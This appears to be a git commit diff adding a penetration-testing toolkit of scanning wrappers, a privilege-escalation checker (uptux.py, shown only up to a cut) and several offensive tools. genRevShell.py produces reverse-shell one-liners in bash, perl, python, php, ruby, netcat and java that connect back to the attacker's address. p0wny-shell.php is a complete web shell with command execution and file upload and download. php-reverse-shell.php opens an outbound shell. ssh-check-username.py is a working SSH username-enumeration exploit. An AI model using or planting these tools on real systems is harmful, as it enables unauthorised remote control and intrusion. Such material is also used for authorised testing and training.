Initial Commit

This commit is contained in:
Roman Hergenreder 2020-01-28 22:15:42 +01:00
commit a0476d4c17
13 changed files with 6638 additions and 0 deletions

1340
LinEnum.sh Executable file

File diff suppressed because it is too large Load Diff

25
first_scan.sh Executable file

@ -0,0 +1,25 @@
#!/usr/bin/bash
if [ $# -lt 1 ]; then
echo "Invalid usage: $0 <host>"
exit
fi
if [ "$EUID" -ne 0 ]; then
echo "[-] Script requires root permissions (e.g. nmap scan)"
exit
fi
IP_ADDRESS=$1
echo "[+] Checking online status…"
ping -c1 -W1 -q "${IP_ADDRESS}" &>/dev/null
status=$(echo $?)
if ! [[ $status == 0 ]] ; then
echo "[-] Target not reachable"
exit
fi
echo "[+] Scanning for open ports…"
nmap -A "${IP_ADDRESS}" -p 1-65535 -T 5 --stats-every 30s

61
genRevShell.py Executable file

@ -0,0 +1,61 @@
#!/usr/bin/python
import socket
import sys
import subprocess
import netifaces as ni
def getLocalAddress():
interface = "tun0"
if not interface in ni.interfaces():
interface = ni.interfaces()[0]
addresses = ni.ifaddresses(interface)
address = addresses[next(iter(addresses))][0]["addr"]
return address
def generatePayload(type, local_address, port):
if type == "bash":
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
elif type == "perl":
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
elif type == "python" or type == "python2" or type == "python3":
binary = type
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
elif type == "php":
return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port)
elif type == "ruby":
return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port)
elif type == "netcat":
return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port)
elif type == "java":
return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
elif type == "xterm":
return "xterm -display %s:1" % (local_address)
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: %s <type> <port>" % sys.argv[0])
exit(1)
listen_port = int(sys.argv[2])
payload_type = sys.argv[1].lower()
local_address = getLocalAddress()
payload = generatePayload(payload_type, local_address, listen_port)
if payload is None:
print("Unknown payload type: %s" % payload_type)
print("Supported types: bash, perl, python[2|3], php, ruby, netcat, java, xterm")
exit(1)
print("---PAYLOAD---\n%s\n---PAYLOAD---\n" % payload)
if payload_type == "xterm":
print("You need to run the following commands (not tested):")
print("xhost +targetip")
print("Xnest :1")
else:
subprocess.call(["nc", "-lvvp", str(listen_port)])

16
gobuster.sh Executable file

@ -0,0 +1,16 @@
#!/usr/bin/bash
if [ $# -lt 1 ]; then
echo "Invalid usage: $0 <host>"
exit
fi
HOST=$1
EXTENSIONS=""
if [ $# -gt 1 ]; then
EXTENSIONS="-x ${2}"
fi
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
-k "${EXTENSIONS}" -b "403,404"

1419
linpeas.sh Executable file

File diff suppressed because one or more lines are too long

1109
lse.sh Executable file

File diff suppressed because it is too large Load Diff

460
p0wny-shell.php Normal file

@ -0,0 +1,460 @@
<?php
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => array('File not found / no read permission.'),
'cwd' => getcwd()
);
} else {
return array(
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
display: none;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(response.name, response.file)
} else {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>

189
php-reverse-shell.php Normal file

@ -0,0 +1,189 @@
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["LHOST"];
$port = intval($_GET["LPORT"]);
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

BIN
pspy64 Executable file

Binary file not shown.

87
ssh-check-username.py Executable file

@ -0,0 +1,87 @@
#!/usr/bin/python3
import multiprocessing
import threading
import time
import os
import argparse
import logging
import paramiko
import socket
import sys
import pdb
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target')
arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22')
arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate')
arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users')
args = arg_parser.parse_args()
port = args.port
target = args.hostname
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
def _paramiko_tunnel(username, *args, **kwargs):
sock = socket.socket()
sock.connect((target, port))
us = username.strip()
try:
transport = paramiko.transport.Transport(sock)
except socket.error:
print ('[-] Failed to connect')
return
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print ('[-] Failed to negotiate SSH transport')
return
try:
transport.auth_publickey(us, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print ('[*] {} - Invalid username'.format(us))
except paramiko.ssh_exception.AuthenticationException:
print ('[+] {} - Valid username'.format(us))
return
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
if args.username is not None:
username = args.username
_paramiko_tunnel(target, port, username)
if args.wordlist is not None:
usernames = []
mp = []
pool = multiprocessing.Pool(5)
with open(args.wordlist) as f:
for u in f:
usernames.append(u)
pool.map(_paramiko_tunnel, usernames)

1086
unix-privesc-check.sh Executable file

File diff suppressed because it is too large Load Diff

42
upload_file.py Executable file

@ -0,0 +1,42 @@
import socket
import sys
import netifaces as ni
if len(sys.argv) < 2:
print("Usage: %s <file>" % sys.argv[0])
exit(1)
# Create a TCP/IP socket
FILENAME = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
interface = "tun0"
if not interface in ni.interfaces():
interface = ni.interfaces()[0]
addresses = ni.ifaddresses(interface)
address = addresses[next(iter(addresses))][0]["addr"]
# Bind the socket to the port
server_address = (address, 8888)
print('starting up on %s port %s' % server_address)
sock.bind(server_address)
sock.listen(1)
while True:
# Wait for a connection
print('waiting for a connection')
connection, client_address = sock.accept()
try:
print('connection from', client_address)
with open(FILENAME, "rb") as f:
content = f.read()
connection.sendall(content)
finally:
# Clean up the connection
connection.close()

804
uptux.py Normal file

@ -0,0 +1,804 @@
#!/usr/bin/env python
"""
uptux by initstring (gitlab.com/initstring)
This tool checks for configuration issues on Linux systems that may lead to
privilege escalation.
All functionality is contained in a single file, because installing packages
in restricted shells is a pain.
"""
import os
import sys
import socket
import getpass
import argparse
import datetime
import subprocess
import inspect
import glob
import re
BANNER = r'''
____ ___ ___________
| | \_____\__ ___/_ _____ ___
| | /\____ \| | | | \ \/ /
| | / | |_> > | | | /> <
|______/ | __/|____| |____//__/\_ \
|__| \/
PrivEsc for modern Linux systems
github.com/initstring/uptux
'''
########################## Global Declarations Follow #########################
LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
PARSER = argparse.ArgumentParser(description=
"PrivEsc for modern Linux systems,"
" by initstring (gitlab.com/initstring)")
PARSER.add_argument('-n', '--nologging', action='store_true',
help='do not write output to a logfile')
PARSER.add_argument('-d', '--debug', action='store_true',
help='print some debugging info to the console')
ARGS = PARSER.parse_args()
## Known directories for storing systemd files.
SYSTEMD_DIRS = ['/etc/systemd/**/',
'/lib/systemd/**/',
'/run/systemd/**/',
'/usr/lib/systemd/**/']
## Known directories for storing D-Bus configuration files
DBUS_DIRS = ['/etc/dbus-1/system.d/',
'/etc/dbus-1/session.d']
# Target files that we know we cannot exploit
NOT_VULN = ['/dev/null',
'.']
# Used to enable/disable the relative path checks of systemd
SYSTEMD_PATH_WRITABLE = False
########################## End of Global Declarations #########################
############################ Setup Functions Follow ###########################
# This is the place for functions that help set up the application.
def tee(text, **kwargs):
"""Used to log and print concurrently"""
# Defining variables to print color-coded messages to the console.
colors = {'green': '\033[92m',
'blue': '\033[94m',
'orange': '\033[93m',
'red': '\033[91m',}
end_color = '\033[0m'
boxes = {'ok': colors['blue'] + '[*] ' + end_color,
'note': colors['green'] + '[+] ' + end_color,
'warn': colors['orange'] + '[!] ' + end_color,
'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
# If this function is called with an optional 'box=xxx' parameter, these
# will be prepended to the message.
box = kwargs.get('box', '')
if box:
box = boxes[box]
# First, just print the item to the console.
print(box + text)
# Then, write it to the log if logging is not disabled
if not ARGS.nologging:
try:
with open(LOGFILE, 'a') as logfile:
logfile.write(box + text + '\n')
except PermissionError:
ARGS.nologging = True
print(boxes['warn'] + "Could not create a log file due to"
" insufficient permissions. Continuing with checks...")
def check_handler(check, check_name, check_desc):
"""Check handler
This function takes a dictionary of check_desc,check_name and will
iterate through them all.
"""
tee("\n\n++++++++++ {}: {} ++++++++++\n\n"
.format(check_name, check_desc))
tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
.format(datetime.datetime.now()), box='ok')
tee("\n")
check()
tee("\n")
tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
.format(datetime.datetime.now()), box='ok')
def get_function_order(function):
"""Helper function for build_checks_list"""
# Grabs the line number of a function it is passed.
order = function.__code__.co_firstlineno
return order
def build_checks_list():
"""Dynamically build list of checks to execute
This function will grab, in order, all functions that start with
'uptux_check_' and populate a list. This is then used to run the checks.
"""
# Start to build a list of functions we will execute.
uptux_checks = []
# Get the name of this python script and all the functions inside it.
current_module = sys.modules[__name__]
all_functions = inspect.getmembers(current_module, inspect.isfunction)
# If the function name matches 'uptux_check_' we will include it.
for function in all_functions:
function_name = function[0]
function_object = function[1]
if 'uptux_check_' in function_name:
uptux_checks.append(function_object)
# Use the helper function to sort by line number in script.
uptux_checks.sort(key=get_function_order)
# Return the sorted list of functions.
return uptux_checks
############################# End Setup Functions #############################
########################### Helper Functions Follow ###########################
# This is the place to put functions that are used by multiple "Individual
# Checks" (those starting with uptux_check_).
def shell_exec(command):
"""Executes Linux shell commands"""
# Split the command into a list as needed by subprocess
command = command.split()
# Get both stdout and stderror from command. Grab the Python exception
# if there is one.
try:
out_bytes = subprocess.check_output(command,
stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as error:
out_bytes = error.output
except OSError as error:
print('Could not run the following OS command. Sorry!\n'
' Command: {}'.format(command))
print(error)
sys.exit()
# Return the lot as a text string for processing.
out_text = out_bytes.decode('utf-8')
out_text = out_text.rstrip()
return out_text
def find_system_files(**kwargs):
"""Locates system files
Expected kwargs: known_dirs, search_mask
"""
# Define known Linux folders for storing service unit definitions
return_list = set()
# Recursively gather all service unit from the known directories
# and add them to a deduplicated set.
for directory in kwargs['known_dirs']:
found_files = glob.glob(directory + kwargs['search_mask'])
for item in found_files:
# We don't care about files that point to /dev/null.
if '/dev/null' not in os.path.realpath(item):
return_list.add(item)
if ARGS.debug:
print("DEBUG, FOUND FILES")
for item in return_list:
print(item)
return return_list
def regex_vuln_search(**kwargs):
"""Helper function for searching text files
This function will take a list of file paths and search through
them with a given regex. Relevant messages will be printed to the console
and log.
Expected kwargs: file_paths, regex, message_text, message_box
"""
# Start a list of dictionaries for files with interesting content.
return_list = []
# Open up each individual file and read the text into memory.
for file_name in kwargs['file_paths']:
return_dict = {}
# Continue if we can't access the file.
if not os.access(file_name, os.R_OK):
continue
file_object = open(file_name, 'r')
file_text = file_object.read()
# Use the regex we pass in to the function to look for vulns.
found = re.findall(kwargs['regex'], file_text)
# Save the file name and the interesting lines of text
if found:
return_dict['file_name'] = file_name
return_dict['text'] = found
return_list.append(return_dict)
# If the function is supplied with message info, print to console and log.
# This function may be used instead as input to another function, so we
# don't always want to print here.
if return_list and kwargs['message_text'] and kwargs['message_box']:
# Print to console and log the interesting file names and content.
tee("")
tee(kwargs['message_text'], box=kwargs['message_box'])
for item in return_list:
tee(" {}:".format(item['file_name']))
for text in item['text']:
tee(" {}".format(text))
tee("")
if ARGS.debug:
print("DEBUG, SEARCH RESULTS")
for item in return_list:
print(item['file_name'])
for text in item['text']:
print(" {}".format(text))
return return_list
def check_file_permissions(**kwargs):
"""Helper function to check permissions and symlink status
This function will take a list of file paths, resolve them to their
actual location (for symlinks), and determine if they are writeable
by the current user. Will also alert on broken symlinks and whether
the target directory for the broken link is writeable.
Expected kwargs: file_paths, files_message_text, dirs_message_text,
message_box
"""
# Start deuplicated sets for interesting files and directories.
writeable_files = set()
writeable_dirs = set()
for file_name in kwargs['file_paths']:
# Ignore known not-vulnerable targets
if file_name in NOT_VULN:
continue
# Is it a symlink? If so, get the real path and check permissions.
# If it is broken, check permissions on the parent directory.
if os.path.islink(file_name):
target = os.readlink(file_name)
# Some symlinks use relative path names. Find these and prepend
# the directory name so we can investigate properly.
if target[0] == '.':
parent_dir = os.path.dirname(file_name)
target = parent_dir + '/' + target
if os.path.exists(target) and os.access(target, os.W_OK):
writeable_files.add('{} -- symlink --> {}'
.format(file_name, target))
else:
parent_dir = os.path.dirname(target)
if os.access(parent_dir, os.W_OK):
writeable_dirs.add((file_name, target))
# OK, not a symlink. Just check permissions.
else:
if os.access(file_name, os.W_OK):
writeable_files.add(file_name)
if writeable_files:
# Print to console and log the interesting findings.
tee("")
tee(kwargs['files_message_text'], box=kwargs['message_box'])
for item in writeable_files:
tee(" {}".format(item))
if writeable_dirs:
# Print to console and log the interesting findings.
tee("")
tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
for item in writeable_dirs:
tee(" {} --> {}".format(item[0], item[1]))
if not writeable_files and not writeable_dirs:
tee("")
tee("No writeable targets. This is expected...",
box='note')
def check_command_permission(**kwargs):
"""Checks permissions on commands returned from inside files
Loops through a provided list of dictionaries with a file name and
commands found within. Checks to see if they are writeable or missing and
living in a writable directory.
Expected kwargs: file_paths, regex, message_text, message_box
"""
# Start an empty list for the return of the writable files/commands
return_list = []
for item in kwargs['commands']:
return_dict = {}
return_dict['text'] = []
# The commands we have are long and may include parameters or even
# multiple commands with pipes and ;. We try to split this all out
# below.
for command in item['text']:
command = re.sub(r'[\'"]', '', command)
command = re.split(r'[ ;\|]', command)
# We now have a list of some commands and some parameters and
# other garbage. Checking for os access will clean this up for us.
# The lines below determine if we have write access to anything.
# It also checks for the case where the target does not exist but
# the parent directory is writeable.
for split_command in command:
vuln = False
# Ignore known not-vulnerable targets
if split_command in NOT_VULN:
continue
# Some systemd items will specicify a command with a path
# relative to the calling item, particularly timer files.
relative_path = os.path.dirname(item['file_name'])
# First, check the obvious - is this a writable command?
if os.access(split_command, os.W_OK):
vuln = True
# What about if we assume it is a relative path?
elif os.access(relative_path + '/' + split_command, os.W_OK):
vuln = True
# Or maybe it doesn't exist at all, but is in a writeable
# director?
elif (os.access(os.path.dirname(split_command), os.W_OK)
and not os.path.exists(split_command)):
vuln = True
# If so, pack it all up in a new dictionary which is used
# below for output.
if vuln:
return_dict['file_name'] = item['file_name']
return_dict['text'].append(split_command)
if return_dict not in return_list:
return_list.append(return_dict)
if return_list and kwargs['message_text'] and kwargs['message_box']:
# Print to console and log the interesting file names and content.
tee("")
tee(kwargs['message_text'], box=kwargs['message_box'])
for item in return_list:
tee(" {}:".format(item['file_name']))
for text in item['text']:
tee(" {}".format(text))
tee("")
########################## Helper Functions Complete ##########################
########################### Individual Checks Follow ##########################
# Note: naming a new function 'uptux_check_xxxx' will automatically
